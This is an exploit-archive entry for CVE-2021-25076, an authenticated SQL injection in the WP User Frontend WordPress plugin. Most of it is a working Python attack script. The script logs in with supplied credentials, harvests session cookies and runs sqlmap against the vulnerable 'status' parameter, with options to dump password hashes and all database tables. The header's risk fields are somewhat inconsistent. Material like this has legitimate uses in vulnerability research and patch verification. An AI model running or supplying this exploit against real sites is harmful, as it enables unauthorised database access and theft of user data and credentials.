WordPress WP User Frontend 3.5.25 SQL Injection

2022.02.22
Credit: Ron Jost
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: WordPress Plugin WP User Frontend 3.5.25 - SQLi (Authenticated) # Date 20.02.2022 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: https://wedevs.com/ # Software Link: https://downloads.wordpress.org/plugin/wp-user-frontend.3.5.25.zip # Version: < 3.5.25 # Tested on: Ubuntu 20.04 # CVE: CVE-2021-25076 # CWE: CWE-89 # Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-25076/README.md ''' Description: The WP User Frontend WordPress plugin before 3.5.26 does not validate and escape the status parameter before using it in a SQL statement in the Subscribers dashboard, leading to an SQL injection. Due to the lack of sanitisation and escaping, this could also lead to Reflected Cross-Site Scripting ''' banner = ''' _|_|_| _| _| _|_|_|_| _|_| _| _|_| _| _|_| _|_|_|_| _| _|_|_|_|_| _|_|_| _| _| _| _| _| _| _| _| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _|_|_| _|_|_|_|_| _| _| _| _| _| _|_|_|_|_| _| _|_|_| _| _| _| _|_|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _|_|_|_| _|_|_|_| _| _|_|_|_| _| _|_|_|_| _|_|_| _| _| _|_| [+] WP User Frontend - SQL Injection [@] Developed by Ron Jost (Hacker5preme) ''' print(banner) import argparse from datetime import datetime import os import requests import json # User-Input: my_parser = argparse.ArgumentParser(description= 'WP User Frontend - SQL-Injection (Authenticated)') my_parser.add_argument('-T', '--IP', type=str) my_parser.add_argument('-P', '--PORT', type=str) my_parser.add_argument('-U', '--PATH', type=str) my_parser.add_argument('-u', '--USERNAME', type=str) my_parser.add_argument('-p', '--PASSWORD', type=str) args = my_parser.parse_args() target_ip = args.IP target_port = args.PORT wp_path = args.PATH username = args.USERNAME password = args.PASSWORD print('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S'))) # Authentication: session = requests.Session() auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php' check = session.get(auth_url) # Header: header = { 'Host': target_ip, 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Origin': 'http://' + target_ip, 'Connection': 'close', 'Upgrade-Insecure-Requests': '1' } # Body: body = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'testcookie': '1' } auth = session.post(auth_url, headers=header, data=body) # SQL-Injection (Exploit): # Generate payload for sqlmap cookies_session = session.cookies.get_dict() cookie = json.dumps(cookies_session) cookie = cookie.replace('"}','') cookie = cookie.replace('{"', '') cookie = cookie.replace('"', '') cookie = cookie.replace(" ", '') cookie = cookie.replace(":", '=') cookie = cookie.replace(',', '; ') print('[*] Payload for SQL-Injection:') exploitcode_url = r'sqlmap -u "http://' + target_ip + ':' + target_port + wp_path + r'wp-admin/admin.php?page=wpuf_subscribers&post_ID=1&status=1" ' exploitcode_risk = '--level 2 --risk 2 ' exploitcode_cookie = '--cookie="' + cookie + '" ' print(' Sqlmap options:') print(' -a, --all Retrieve everything') print(' -b, --banner Retrieve DBMS banner') print(' --current-user Retrieve DBMS current user') print(' --current-db Retrieve DBMS current database') print(' --passwords Enumerate DBMS users password hashes') print(' --tables Enumerate DBMS database tables') print(' --columns Enumerate DBMS database table column') print(' --schema Enumerate DBMS schema') print(' --dump Dump DBMS database table entries') print(' --dump-all Dump all DBMS databases tables entries') retrieve_mode = input('Which sqlmap option should be used to retrieve your information? ') exploitcode = exploitcode_url + exploitcode_risk + exploitcode_cookie + retrieve_mode + ' -p status -v 0 --answers="follow=Y" --batch' os.system(exploitcode) print('Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S')))


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